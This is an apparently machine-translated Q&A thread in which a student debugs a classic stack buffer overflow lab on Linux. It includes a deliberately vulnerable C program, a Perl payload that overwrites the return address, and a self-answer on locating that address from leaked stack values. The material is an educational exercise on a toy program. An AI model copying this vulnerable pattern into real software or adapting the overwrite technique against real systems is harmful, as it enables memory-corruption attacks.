3

私は最近、バッファ オーバーフローについて簡単に触れたセキュリティ クラスを受講しました。説明した内容に満足できなかったので、従うべきいくつかの例を探して自分で試してみたところ、バッファ オーバーフロー攻撃が見つかりました。

この例は、すべてが機能する理由を理解して理解するのが簡単なので気に入っています。私は従おうとしましたが、Windows ではなく Debian 仮想マシンで行いました。

これは、サイトの C コードです。

#pragma check_stack(off)

#include <string.h>
#include <stdio.h> 

void foo(const char* input)
{
    char buf[10];

    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");

    strcpy(buf, input);
    printf("%s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Augh! I've been hacked!\n");
}

int main(int argc, char* argv[])
{
    //Blatant cheating to make life easier on myself
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);

    if (argc != 2) 
    {
        printf("Please supply a string as an argument!\n");
        return -1;
    } 

    foo(argv[1]);
    return 0;
}

このコードは、foo と bar の 2 つの関数のアドレスを指定することで「チート」します。最終的な目標は、バッファ オーバーフローのみを使用してバーを実行することです。これを行うために、彼らは短い Perl スクリプトを提供しました。

$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);

私は Windows ではなく Linux を使用しており、bar関数のアドレスがわずかに異なっていたため、いくつかの簡単な修正を行いました。

$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40";
$cmd = "./prog ".$arg;
system($cmd);

彼らの例と同じように機能するはずだと思います。Perl スクリプトが実行され、フィラー テキストがプログラムに渡され、その後に実行する新しいリターン アドレスが続きますbar。しかし、それは私にはうまくいきません。

これは、Perl スクリプトを実行した結果の出力です。

Address of foo: 0x400596
Address of bar: 0x4005f7
The current stack:
0x7fffe6b4abd8
0x7faba670c7a0
0x1d
0x6
0x7faba63b099a
0x7fffe6b4ad00

ABCDEFGHIJKLMNOPP�
Stack after input:
0x7ffc31998568
0x7f9a7c6ed7a0
0x7f9a7c421e50
0xf70550504f4e4d4c
0x7f9a7c39199a
0x7ffc31998690

私の出力では、フィラー テキストのいずれかを保持しているように見える唯一のアドレスは、最後のアドレスから 3 番目、リターン アドレスの直前のアドレスです。

この問題は、gcc を使用してプログラムをコンパイルしたことが原因であると思われますが、何が原因なのか正確にはわかりません。問題は Debian にある可能性もあります。プログラムをコンパイルした方法は次のとおりです。

gcc -z execstack -fno-stack-protector prog.c -o prog

私の希望は、スタック プロテクターなしでコンパイルすることで、問題なく例を追うことができるようになることでした。

どんな助けでも素晴らしいでしょう、私は完全に立ち往生しています。現実的には、単純に Windows に切り替えることもできますが、現時点では、Windows が機能しない理由と修正方法を本当に知りたいと思っています。

4

1 に答える 1

2

わかりましたので、ここで自分の質問に答えます。念のため、将来それを見る人が興味を持っている場合に備えて.

基本的に、この問題は、スタックの全体像を把握するのに十分なメモリ アドレスが印刷されていないことが原因でした。質問のリンクをたどると、スタックの6つのメモリアドレスを印刷するだけでシステムには十分であることがわかりますが、私たちのシステムには十分ではありませんでした. 私の友人は、ソース コードを次のように変更することを提案しました。

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");

strcpy(buf, input);
printf("%s\n", buf);

printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

これに:

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

strcpy(buf, input);

printf("Buffer: %s\n", buf);
printf("Address of Buffer: %p\n\n", buf);
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

この変更は、2 つのことを行います。まず、出力されるアドレスの量を 13 に増やします。次に、バッファの開始アドレスを出力します。2 番目の部分は、指定されたスタック アドレスで検索する相対値を提供するので重要です。例:

overflow@OVERFLOW:~/Overflow$ ./prog ZZZZZZ
Address of foo = 0x400596
Address of bar = 0x400601
Current Stack:
0x7fffffe6
0x7f30b7f8a7a0
0x19
0x6
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x7f30b7f9cde0
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000

Buffer: ZZZZZZ
Address of Buffer: 0x7ffddab71220

Stack after Input:
0x7fffffde
0x7f30b7f8a7a0
0x21
0xc
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x5a5a5a5a5a5a
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000

この例では、 を見ることができますAddress of Buffer: 0x7ffddab71220。その下のスタック アドレスに目を通すと、非常によく似たものが見つかります0x7ffddab72653。これをバッファーの開始点と見なすことができるため、次のいくつかのアドレスがバッファーの格納コンテナーになります。実際、この例では、「ZZZZZZ」をバッファに出力しました。開始点の直後のアドレスが変更され0x5a5a5a5a5a5aたことがわかります。お察しのとおり、16 進数の「ZZZZZZ」です。

これで、バッファが実際に開始する場所はわかりましたが、戻りアドレスがどれかはわかりません。関数のアドレスを見ると、次のようになります。

Address of foo = 0x400596バッファの開始点の下のどこかに同様の値をAddress of bar = 0x400601 見つけることができます。この場合は0x400672.

この時点で、バッファを格納するメモリ アドレス、呼び出したい関数のアドレス、そして最も重要な上書きしたいリターン アドレスなど、必要なことはすべてわかっています。その時点で、必要な結果が得られるまで文字をバッファーに追加して、perl スクリプトを試してみることにします。

于 2016-04-30T06:15:23.857 に答える